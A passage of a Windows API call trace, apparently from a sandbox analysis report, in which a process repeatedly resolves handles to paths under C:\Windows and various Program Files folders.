lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.569] CloseHandle (hObject=0x138) returned 1 [0090.569] GetFileType (hFile=0xf0) returned 0x1 [0090.569] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0090.570] CloseHandle (hObject=0xf0) returned 1 [0090.570] GetFileType (hFile=0x138) returned 0x1 [0090.570] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.572] CloseHandle (hObject=0x138) returned 1 [0090.572] GetFileType (hFile=0xf0) returned 0x1 [0090.572] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0090.573] CloseHandle (hObject=0xf0) returned 1 [0090.573] GetFileType (hFile=0x138) returned 0x1 [0090.573] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.574] CloseHandle (hObject=0x138) returned 1 [0090.574] GetFileType (hFile=0xf0) returned 0x1 [0090.575] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0090.575] CloseHandle (hObject=0xf0) returned 1 [0090.576] GetFileType (hFile=0x138) returned 0x1 [0090.576] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.577] CloseHandle (hObject=0x138) returned 1 [0090.577] GetFileType (hFile=0xf0) returned 0x1 [0090.577] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0090.578] CloseHandle (hObject=0xf0) returned 1 [0090.578] GetFileType (hFile=0x138) returned 0x1 [0090.578] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.579] CloseHandle (hObject=0x138) returned 1 [0090.580] GetFileType (hFile=0xf0) returned 0x1 [0090.580] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0090.580] CloseHandle (hObject=0xf0) returned 1 [0090.581] GetFileType (hFile=0x138) returned 0x1 [0090.581] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.582] CloseHandle (hObject=0x138) returned 1 [0090.582] GetFileType (hFile=0xf0) returned 0x1 [0090.582] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0090.583] CloseHandle (hObject=0xf0) returned 1 [0090.584] GetFileType (hFile=0x138) returned 0x1 [0090.584] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.585] CloseHandle (hObject=0x138) returned 1 [0090.585] GetFileType (hFile=0xf0) returned 0x1 [0090.585] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0090.586] CloseHandle (hObject=0xf0) returned 1 [0090.586] GetFileType (hFile=0x138) returned 0x1 [0090.586] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.588] CloseHandle (hObject=0x138) returned 1 [0090.588] GetFileType (hFile=0xf0) returned 0x1 [0090.588] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0090.589] CloseHandle (hObject=0xf0) returned 1 [0090.589] GetFileType (hFile=0x138) returned 0x1 [0090.589] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.590] CloseHandle (hObject=0x138) returned 1 [0090.591] GetFileType (hFile=0xf0) returned 0x1 [0090.591] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0090.591] CloseHandle (hObject=0xf0) returned 1 [0090.592] GetFileType (hFile=0x138) returned 0x1 [0090.592] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.593] CloseHandle (hObject=0x138) returned 1 [0090.593] GetFileType (hFile=0xf0) returned 0x1 [0090.593] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0090.596] CloseHandle (hObject=0xf0) returned 1 [0090.596] GetFileType (hFile=0x138) returned 0x1 [0090.596] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.598] CloseHandle (hObject=0x138) returned 1 [0090.598] GetFileType (hFile=0xf0) returned 0x1 [0090.599] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0090.600] CloseHandle (hObject=0xf0) returned 1 [0090.600] GetFileType (hFile=0x138) returned 0x1 [0090.600] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.601] CloseHandle (hObject=0x138) returned 1 [0090.602] GetFileType (hFile=0xf0) returned 0x1 [0090.602] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0090.603] CloseHandle (hObject=0xf0) returned 1 [0090.604] GetFileType (hFile=0x138) returned 0x1 [0090.604] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.605] CloseHandle (hObject=0x138) returned 1 [0090.605] GetFileType (hFile=0xf0) returned 0x1 [0090.605] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0090.606] CloseHandle (hObject=0xf0) returned 1 [0090.607] GetFileType (hFile=0x138) returned 0x1 [0090.607] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.608] CloseHandle (hObject=0x138) returned 1 [0090.608] GetFileType (hFile=0xf0) returned 0x1 [0090.608] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0090.609] CloseHandle (hObject=0xf0) returned 1 [0090.609] GetFileType (hFile=0x138) returned 0x1 [0090.609] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.610] CloseHandle (hObject=0x138) returned 1 [0090.610] GetFileType (hFile=0xf0) returned 0x1 [0090.610] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0090.611] CloseHandle (hObject=0xf0) returned 1 [0090.611] GetFileType (hFile=0x138) returned 0x1 [0090.611] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.612] CloseHandle (hObject=0x138) returned 1 [0090.613] GetFileType (hFile=0xf0) returned 0x1 [0090.613] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0090.613] CloseHandle (hObject=0xf0) returned 1 [0090.614] GetFileType (hFile=0x138) returned 0x1 [0090.614] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.615] CloseHandle (hObject=0x138) returned 1 [0090.615] GetFileType (hFile=0xf0) returned 0x1 [0090.615] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0090.616] CloseHandle (hObject=0xf0) returned 1 [0090.616] GetFileType (hFile=0x138) returned 0x1 [0090.616] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.621] CloseHandle (hObject=0x138) returned 1 [0090.621] GetFileType (hFile=0xf0) returned 0x1 [0090.621] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0090.622] CloseHandle (hObject=0xf0) returned 1 [0090.622] GetFileType (hFile=0x138) returned 0x1 [0090.622] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.624] CloseHandle (hObject=0x138) returned 1 [0090.624] GetFileType (hFile=0xf0) returned 0x1 [0090.624] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0090.625] CloseHandle (hObject=0xf0) returned 1 [0090.625] GetFileType (hFile=0x138) returned 0x1 [0090.625] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.626] CloseHandle (hObject=0x138) returned 1 [0090.626] GetFileType (hFile=0xf0) returned 0x1 [0090.626] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0090.627] CloseHandle (hObject=0xf0) returned 1 [0090.627] GetFileType (hFile=0x138) returned 0x1 [0090.628] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.629] CloseHandle (hObject=0x138) returned 1 [0090.629] GetFileType (hFile=0xf0) returned 0x1 [0090.629] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0090.630] CloseHandle (hObject=0xf0) returned 1 [0090.630] GetFileType (hFile=0x138) returned 0x1 [0090.630] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.631] CloseHandle (hObject=0x138) returned 1 [0090.631] GetFileType (hFile=0xf0) returned 0x1 [0090.632] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0090.632] CloseHandle (hObject=0xf0) returned 1 [0090.633] GetFileType (hFile=0x138) returned 0x1 [0090.633] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.634] CloseHandle (hObject=0x138) returned 1 [0090.634] GetFileType (hFile=0xf0) returned 0x1 [0090.634] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0090.635] CloseHandle (hObject=0xf0) returned 1 [0090.635] GetFileType (hFile=0x138) returned 0x1 [0090.635] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.637] CloseHandle (hObject=0x138) returned 1 [0090.637] GetFileType (hFile=0xf0) returned 0x1 [0090.637] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0090.638] CloseHandle (hObject=0xf0) returned 1 [0090.638] GetFileType (hFile=0x138) returned 0x1 [0090.638] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.639] CloseHandle (hObject=0x138) returned 1 [0090.639] GetFileType (hFile=0xf0) returned 0x1 [0090.639] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0090.640] CloseHandle (hObject=0xf0) returned 1 [0090.640] GetFileType (hFile=0x138) returned 0x1 [0090.640] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.641] CloseHandle (hObject=0x138) returned 1 [0090.642] GetFileType (hFile=0xf0) returned 0x1 [0090.642] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0090.643] CloseHandle (hObject=0xf0) returned 1 [0090.643] GetFileType (hFile=0x138) returned 0x1 [0090.643] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.644] CloseHandle (hObject=0x138) returned 1 [0090.644] GetFileType (hFile=0xf0) returned 0x1 [0090.644] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0090.645] CloseHandle (hObject=0xf0) returned 1 [0090.645] GetFileType (hFile=0x138) returned 0x1 [0090.646] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.647] CloseHandle (hObject=0x138) returned 1 [0090.647] GetFileType (hFile=0xf0) returned 0x1 [0090.647] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0090.648] CloseHandle (hObject=0xf0) returned 1 [0090.648] GetFileType (hFile=0x138) returned 0x1 [0090.648] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.650] CloseHandle (hObject=0x138) returned 1 [0090.650] GetFileType (hFile=0xf0) returned 0x1 [0090.650] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0090.651] CloseHandle (hObject=0xf0) returned 1 [0090.651] GetFileType (hFile=0x138) returned 0x1 [0090.651] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.652] CloseHandle (hObject=0x138) returned 1 [0090.652] GetFileType (hFile=0xf0) returned 0x1 [0090.653] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0090.653] CloseHandle (hObject=0xf0) returned 1 [0090.654] GetFileType (hFile=0x138) returned 0x1 [0090.654] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.655] CloseHandle (hObject=0x138) returned 1 [0090.655] GetFileType (hFile=0xf0) returned 0x1 [0090.655] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0090.656] CloseHandle (hObject=0xf0) returned 1 [0090.656] GetFileType (hFile=0x138) returned 0x1 [0090.656] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.657] CloseHandle (hObject=0x138) returned 1 [0090.658] GetFileType (hFile=0xf0) returned 0x1 [0090.658] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0090.658] CloseHandle (hObject=0xf0) returned 1 [0090.659] GetFileType (hFile=0x138) returned 0x1 [0090.659] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.660] CloseHandle (hObject=0x138) returned 1 [0090.660] GetFileType (hFile=0xf0) returned 0x1 [0090.660] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0090.661] CloseHandle (hObject=0xf0) returned 1 [0090.661] GetFileType (hFile=0x138) returned 0x1 [0090.661] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.663] CloseHandle (hObject=0x138) returned 1 [0090.663] GetFileType (hFile=0xf0) returned 0x1 [0090.663] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0090.666] CloseHandle (hObject=0xf0) returned 1 [0090.666] GetFileType (hFile=0x138) returned 0x1 [0090.666] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.667] CloseHandle (hObject=0x138) returned 1 [0090.667] GetFileType (hFile=0xf0) returned 0x1 [0090.667] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0090.668] CloseHandle (hObject=0xf0) returned 1 [0090.668] GetFileType (hFile=0x138) returned 0x1 [0090.668] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.669] CloseHandle (hObject=0x138) returned 1 [0090.669] GetFileType (hFile=0xf0) returned 0x1 [0090.669] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0090.670] CloseHandle (hObject=0xf0) returned 1 [0090.670] GetFileType (hFile=0x138) returned 0x1 [0090.671] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.671] CloseHandle (hObject=0x138) returned 1 [0090.672] GetFileType (hFile=0xf0) returned 0x1 [0090.672] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0090.673] CloseHandle (hObject=0xf0) returned 1 [0090.673] GetFileType (hFile=0x138) returned 0x1 [0090.673] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.674] CloseHandle (hObject=0x138) returned 1 [0090.674] GetFileType (hFile=0xf0) returned 0x1 [0090.674] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0090.675] CloseHandle (hObject=0xf0) returned 1 [0090.675] GetFileType (hFile=0x138) returned 0x1 [0090.676] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.677] CloseHandle (hObject=0x138) returned 1 [0090.677] GetFileType (hFile=0xf0) returned 0x1 [0090.677] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0090.678] CloseHandle (hObject=0xf0) returned 1 [0090.678] GetFileType (hFile=0x138) returned 0x1 [0090.678] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.680] CloseHandle (hObject=0x138) returned 1 [0090.681] GetFileType (hFile=0xf0) returned 0x1 [0090.681] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0090.682] CloseHandle (hObject=0xf0) returned 1 [0090.682] GetFileType (hFile=0x138) returned 0x1 [0090.682] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.683] CloseHandle (hObject=0x138) returned 1 [0090.683] GetFileType (hFile=0xf0) returned 0x1 [0090.683] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0090.684] CloseHandle (hObject=0xf0) returned 1 [0090.684] GetFileType (hFile=0x138) returned 0x1 [0090.685] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.686] CloseHandle (hObject=0x138) returned 1 [0090.686] GetFileType (hFile=0xf0) returned 0x1 [0090.686] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0090.687] CloseHandle (hObject=0xf0) returned 1 [0090.687] GetFileType (hFile=0x138) returned 0x1 [0090.687] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.688] CloseHandle (hObject=0x138) returned 1 [0090.689] GetFileType (hFile=0xf0) returned 0x1 [0090.689] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0090.689] CloseHandle (hObject=0xf0) returned 1 [0090.690] GetFileType (hFile=0x138) returned 0x1 [0090.690] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.691] CloseHandle (hObject=0x138) returned 1 [0090.691] GetFileType (hFile=0xf0) returned 0x1 [0090.691] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0090.692] CloseHandle (hObject=0xf0) returned 1 [0090.692] GetFileType (hFile=0x138) returned 0x1 [0090.692] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.694] CloseHandle (hObject=0x138) returned 1 [0090.694] GetFileType (hFile=0xf0) returned 0x1 [0090.694] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0090.695] CloseHandle (hObject=0xf0) returned 1 [0090.695] GetFileType (hFile=0x138) returned 0x1 [0090.695] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.697] CloseHandle (hObject=0x138) returned 1 [0090.697] GetFileType (hFile=0xf0) returned 0x1 [0090.697] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0090.698] CloseHandle (hObject=0xf0) returned 1 [0090.698] GetFileType (hFile=0x138) returned 0x1 [0090.698] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.699] CloseHandle (hObject=0x138) returned 1 [0090.699] GetFileType (hFile=0xf0) returned 0x1 [0090.699] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0090.700] 